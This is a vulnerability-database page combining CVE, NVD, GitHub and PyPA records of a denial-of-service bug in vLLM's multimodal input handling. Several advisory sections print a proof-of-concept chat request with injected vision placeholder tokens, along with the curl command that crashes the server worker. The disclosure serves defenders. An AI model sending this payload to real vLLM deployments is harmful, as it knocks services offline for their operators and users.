Vulnerability-Lookup

CVE-2026-44222 (GCVE-0-2026-44222)

Vulnerability from cvelistv5 – Published: 2026-05-12 19:57 – Updated: 2026-05-13 12:24

Title

vLLM: Remote DoS via Special-Token Placeholders

Summary

vLLM is an inference and serving engine for large language models (LLMs). From 0.6.1 to before 0.20.0, there is a a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. This vulnerability is fixed in 0.20.0.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-13 12:24 UTC

CWE

CWE-129 - Improper Validation of Array Index

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/vllm-project/vllm/security/adv…	x_refsource_CONFIRM
https://github.com/vllm-project/vllm/issues/32656	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
vllm-project	vllm	Affected: >= 0.6.1, < 0.20.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-44222",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-13T12:24:39.409933Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-13T12:24:53.560Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "vllm",
          "vendor": "vllm-project",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.6.1, \u003c 0.20.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "vLLM is an inference and serving engine for large language models (LLMs). From 0.6.1 to before 0.20.0, there is a a Token Injection vulnerability in vLLM\u2019s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. This vulnerability is fixed in 0.20.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-129",
              "description": "CWE-129: Improper Validation of Array Index",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-12T19:57:25.336Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f"
        },
        {
          "name": "https://github.com/vllm-project/vllm/issues/32656",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vllm-project/vllm/issues/32656"
        }
      ],
      "source": {
        "advisory": "GHSA-hpv8-x276-m59f",
        "discovery": "UNKNOWN"
      },
      "title": "vLLM: Remote DoS via Special-Token Placeholders"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-44222",
    "datePublished": "2026-05-12T19:57:25.336Z",
    "dateReserved": "2026-05-05T15:42:40.518Z",
    "dateUpdated": "2026-05-13T12:24:53.560Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-44222",
      "date": "2026-09-17",
      "epss": "0.00414",
      "percentile": "0.35207"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-44222\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-05-12T20:16:43.160\",\"lastModified\":\"2026-06-17T10:50:22.930\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"vLLM is an inference and serving engine for large language models (LLMs). From 0.6.1 to before 0.20.0, there is a a Token Injection vulnerability in vLLM\u2019s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. This vulnerability is fixed in 0.20.0.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"vllm-project\",\"product\":\"vllm\",\"versions\":[{\"version\":\"\u003e= 0.6.1, \u003c 0.20.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":6.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":3.6},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-05-13T12:24:39.409933Z\",\"id\":\"CVE-2026-44222\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-129\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"0.6.1\",\"versionEndExcluding\":\"0.20.0\",\"matchCriteriaId\":\"7360938D-E6DB-48BB-BE23-15CD63FD3956\"}]}]}],\"references\":[{\"url\":\"https://github.com/vllm-project/vllm/issues/32656\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Issue Tracking\"]},{\"url\":\"https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "redhat_vex": {
      "aggregate_severity": "Important",
      "current_release_date": "2026-08-31T14:39:35+00:00",
      "cve": "CVE-2026-44222",
      "id": "CVE-2026-44222",
      "initial_release_date": "2026-05-12T19:57:25.336000+00:00",
      "product_status:fixed": "6",
      "product_status:known_affected": "12",
      "product_status:known_not_affected": "4",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "vllm: vLLM: Denial of Service via malformed multimodal input or token injection",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44222.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-44222\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-13T12:24:39.409933Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-13T12:24:49.160Z\"}}], \"cna\": {\"title\": \"vLLM: Remote DoS via Special-Token Placeholders\", \"source\": {\"advisory\": \"GHSA-hpv8-x276-m59f\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 6.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"vllm-project\", \"product\": \"vllm\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 0.6.1, \u003c 0.20.0\"}]}], \"references\": [{\"url\": \"https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f\", \"name\": \"https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/vllm-project/vllm/issues/32656\", \"name\": \"https://github.com/vllm-project/vllm/issues/32656\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"vLLM is an inference and serving engine for large language models (LLMs). From 0.6.1 to before 0.20.0, there is a a Token Injection vulnerability in vLLM\\u2019s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. This vulnerability is fixed in 0.20.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-129\", \"description\": \"CWE-129: Improper Validation of Array Index\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-05-12T19:57:25.336Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-44222\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-13T12:24:53.560Z\", \"dateReserved\": \"2026-05-05T15:42:40.518Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-05-12T19:57:25.336Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-44222

Vulnerability from fkie_nvd - Published: 2026-05-12 20:16 - Updated: 2026-06-17 10:50

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/vllm-project/vllm/issues/32656	Issue Tracking
	security-advisories@github.com	https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	vllm	vllm	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vllm",
          "vendor": "vllm-project",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.6.1, \u003c 0.20.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "7360938D-E6DB-48BB-BE23-15CD63FD3956",
              "versionEndExcluding": "0.20.0",
              "versionStartIncluding": "0.6.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vLLM is an inference and serving engine for large language models (LLMs). From 0.6.1 to before 0.20.0, there is a a Token Injection vulnerability in vLLM\u2019s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. This vulnerability is fixed in 0.20.0."
    }
  ],
  "id": "CVE-2026-44222",
  "lastModified": "2026-06-17T10:50:22.930",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44222",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-13T12:24:39.409933Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-12T20:16:43.160",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/vllm-project/vllm/issues/32656"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-129"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-HPV8-X276-M59F

Vulnerability from github – Published: 2026-05-05 22:21 – Updated: 2026-07-17 16:21

Summary

vLLM Vulnerable to Remote DoS via Special-Token Placeholders

Details

Summary

This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.

Details

Affected component: multimodal input position computation.
File/functions (paths are indicative):
vllm/model_executor/layers/rotary_embedding.py
- get_input_positions_tensor(...)
- _vl_get_input_positions_tensor(...)
Failure mechanism:
The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.

Representative snippet (context):

# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
    cls,
    input_tokens,
    hf_config,
    image_grid_thw,
    video_grid_thw,
    ...,
):
    # detect video tokens
    video_nums = (vision_tokens == video_token_id).sum()
    # later in processing
    t, h, w = (
        video_grid_thw[video_index][0],  # IndexError if no video data
        video_grid_thw[video_index][1],
        video_grid_thw[video_index][2],
    )

Abbreviated call path:

OpenAI API request
 → vllm.v1.engine.core: step/execute_model
 → vllm.v1.worker.gpu_model_runner: _update_states/execute_model
 → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
 → _vl_get_input_positions_tensor
 → IndexError: list index out of range

PoC

Environment

vLLM: 0.10.0
Model: Qwen/Qwen2.5-VL-3B-Instruct
Launch server:

python -m vllm.entrypoints.openai.api_server \
  --model Qwen/Qwen2.5-VL-3B-Instruct \
  --port 8000

Request (text-only, no image/video data)

cat > request.json <<'JSON'
{
  "model": "Qwen/Qwen2.5-VL-3B-Instruct",
  "messages": [
    {
      "role": "user",
      "content": [
        { "type": "text",
          "text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
      ]
    }
  ]
}
JSON

curl -s http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  --data @request.json

Observed result

HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
In some deployments, the worker exits and capacity remains reduced until manual restart.

Impact

Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
Effect: Request → unhandled exception in position computation → worker termination / service unavailability.

Fixes

Changes associated with https://github.com/vllm-project/vllm/issues/32656

Credits

Pengyu Ding (Infra Security, Ant Group)
Ziteng Xu (Infra Security, Ant Group)

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.1"
            },
            {
              "fixed": "0.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44222"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:21:41Z",
    "nvd_published_at": "2026-05-12T20:16:43Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThis report explains a Token Injection vulnerability in vLLM\u2019s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on `image_grid_thw`/`video_grid_thw` are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.\n\n## Details\n- Affected component: multimodal input position computation.\n- File/functions (paths are indicative):\n  - vllm/model_executor/layers/rotary_embedding.py\n    - get_input_positions_tensor(...)\n    - _vl_get_input_positions_tensor(...)\n- Failure mechanism:\n  - The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.\n  - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.\n\nRepresentative snippet (context):\n```python\n# vllm/model_executor/layers/rotary_embedding.py\n@classmethod\ndef _vl_get_input_positions_tensor(\n    cls,\n    input_tokens,\n    hf_config,\n    image_grid_thw,\n    video_grid_thw,\n    ...,\n):\n    # detect video tokens\n    video_nums = (vision_tokens == video_token_id).sum()\n    # later in processing\n    t, h, w = (\n        video_grid_thw[video_index][0],  # IndexError if no video data\n        video_grid_thw[video_index][1],\n        video_grid_thw[video_index][2],\n    )\n```\n\nAbbreviated call path:\n```\nOpenAI API request\n \u2192 vllm.v1.engine.core: step/execute_model\n \u2192 vllm.v1.worker.gpu_model_runner: _update_states/execute_model\n \u2192 vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor\n \u2192 _vl_get_input_positions_tensor\n \u2192 IndexError: list index out of range\n```\n\n## PoC\n### Environment\n- vLLM: 0.10.0\n- Model: Qwen/Qwen2.5-VL-3B-Instruct\n- Launch server:\n```bash\npython -m vllm.entrypoints.openai.api_server \\\n  --model Qwen/Qwen2.5-VL-3B-Instruct \\\n  --port 8000\n```\n\n### Request (text-only, no image/video data)\n```bash\ncat \u003e request.json \u003c\u003c\u0027JSON\u0027\n{\n  \"model\": \"Qwen/Qwen2.5-VL-3B-Instruct\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        { \"type\": \"text\",\n          \"text\": \"what\u0027s in picture \u003c|vision_start|\u003e\u003c|image_pad|\u003e\u003c|vision_end|\u003e\" }\n      ]\n    }\n  ]\n}\nJSON\n\ncurl -s http://127.0.0.1:8000/v1/chat/completions \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data @request.json\n```\n\n### Observed result\n- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).\n- In some deployments, the worker exits and capacity remains reduced until manual restart.\n\n## Impact\n- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.\n- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).\n- Effect: Request \u2192 unhandled exception in position computation \u2192 worker termination / service unavailability.\n\n## Fixes\n\n* Changes associated with https://github.com/vllm-project/vllm/issues/32656\n\n## Credits\nPengyu Ding (Infra Security, Ant Group)  \nZiteng Xu (Infra Security, Ant Group)",
  "id": "GHSA-hpv8-x276-m59f",
  "modified": "2026-07-17T16:21:19Z",
  "published": "2026-05-05T22:21:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44222"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/issues/32656"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hpv8-x276-m59f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3409.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM Vulnerable to Remote DoS via Special-Token Placeholders"
}

PYSEC-2026-3409

Vulnerability from pysec - Published: 2026-07-13 15:15 - Updated: 2026-07-13 16:07

Details

Summary

Details

Affected component: multimodal input position computation.
File/functions (paths are indicative):
vllm/model_executor/layers/rotary_embedding.py
- get_input_positions_tensor(...)
- _vl_get_input_positions_tensor(...)
Failure mechanism:
The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.

Representative snippet (context):

# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
    cls,
    input_tokens,
    hf_config,
    image_grid_thw,
    video_grid_thw,
    ...,
):
    # detect video tokens
    video_nums = (vision_tokens == video_token_id).sum()
    # later in processing
    t, h, w = (
        video_grid_thw[video_index][0],  # IndexError if no video data
        video_grid_thw[video_index][1],
        video_grid_thw[video_index][2],
    )

Abbreviated call path:

OpenAI API request
 → vllm.v1.engine.core: step/execute_model
 → vllm.v1.worker.gpu_model_runner: _update_states/execute_model
 → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
 → _vl_get_input_positions_tensor
 → IndexError: list index out of range

PoC

Environment

vLLM: 0.10.0
Model: Qwen/Qwen2.5-VL-3B-Instruct
Launch server:

python -m vllm.entrypoints.openai.api_server \
  --model Qwen/Qwen2.5-VL-3B-Instruct \
  --port 8000

Request (text-only, no image/video data)

cat > request.json <<'JSON'
{
  "model": "Qwen/Qwen2.5-VL-3B-Instruct",
  "messages": [
    {
      "role": "user",
      "content": [
        { "type": "text",
          "text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
      ]
    }
  ]
}
JSON

curl -s http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  --data @request.json

Observed result

HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
In some deployments, the worker exits and capacity remains reduced until manual restart.

Impact

Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
Effect: Request → unhandled exception in position computation → worker termination / service unavailability.

Fixes

Changes associated with https://github.com/vllm-project/vllm/issues/32656

Credits

Pengyu Ding (Infra Security, Ant Group)
Ziteng Xu (Infra Security, Ant Group)

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
vllm	pkg:pypi/vllm

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm",
        "purl": "pkg:pypi/vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.1"
            },
            {
              "fixed": "0.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.10.0",
        "0.10.1",
        "0.10.1.1",
        "0.10.2",
        "0.11.0",
        "0.11.1",
        "0.11.2",
        "0.12.0",
        "0.13.0",
        "0.14.0",
        "0.14.1",
        "0.15.0",
        "0.15.1",
        "0.16.0",
        "0.17.0",
        "0.17.1",
        "0.18.0",
        "0.18.1",
        "0.19.0",
        "0.19.1",
        "0.6.1",
        "0.6.1.post1",
        "0.6.1.post2",
        "0.6.2",
        "0.6.3",
        "0.6.3.post1",
        "0.6.4",
        "0.6.4.post1",
        "0.6.5",
        "0.6.6",
        "0.6.6.post1",
        "0.7.0",
        "0.7.1",
        "0.7.2",
        "0.7.3",
        "0.8.0",
        "0.8.1",
        "0.8.2",
        "0.8.3",
        "0.8.4",
        "0.8.5",
        "0.8.5.post1",
        "0.9.0",
        "0.9.0.1",
        "0.9.1",
        "0.9.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44222",
    "GHSA-hpv8-x276-m59f"
  ],
  "details": "## Summary\nThis report explains a Token Injection vulnerability in vLLM\u2019s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on `image_grid_thw`/`video_grid_thw` are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.\n\n## Details\n- Affected component: multimodal input position computation.\n- File/functions (paths are indicative):\n  - vllm/model_executor/layers/rotary_embedding.py\n    - get_input_positions_tensor(...)\n    - _vl_get_input_positions_tensor(...)\n- Failure mechanism:\n  - The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.\n  - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.\n\nRepresentative snippet (context):\n```python\n# vllm/model_executor/layers/rotary_embedding.py\n@classmethod\ndef _vl_get_input_positions_tensor(\n    cls,\n    input_tokens,\n    hf_config,\n    image_grid_thw,\n    video_grid_thw,\n    ...,\n):\n    # detect video tokens\n    video_nums = (vision_tokens == video_token_id).sum()\n    # later in processing\n    t, h, w = (\n        video_grid_thw[video_index][0],  # IndexError if no video data\n        video_grid_thw[video_index][1],\n        video_grid_thw[video_index][2],\n    )\n```\n\nAbbreviated call path:\n```\nOpenAI API request\n \u2192 vllm.v1.engine.core: step/execute_model\n \u2192 vllm.v1.worker.gpu_model_runner: _update_states/execute_model\n \u2192 vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor\n \u2192 _vl_get_input_positions_tensor\n \u2192 IndexError: list index out of range\n```\n\n## PoC\n### Environment\n- vLLM: 0.10.0\n- Model: Qwen/Qwen2.5-VL-3B-Instruct\n- Launch server:\n```bash\npython -m vllm.entrypoints.openai.api_server \\\n  --model Qwen/Qwen2.5-VL-3B-Instruct \\\n  --port 8000\n```\n\n### Request (text-only, no image/video 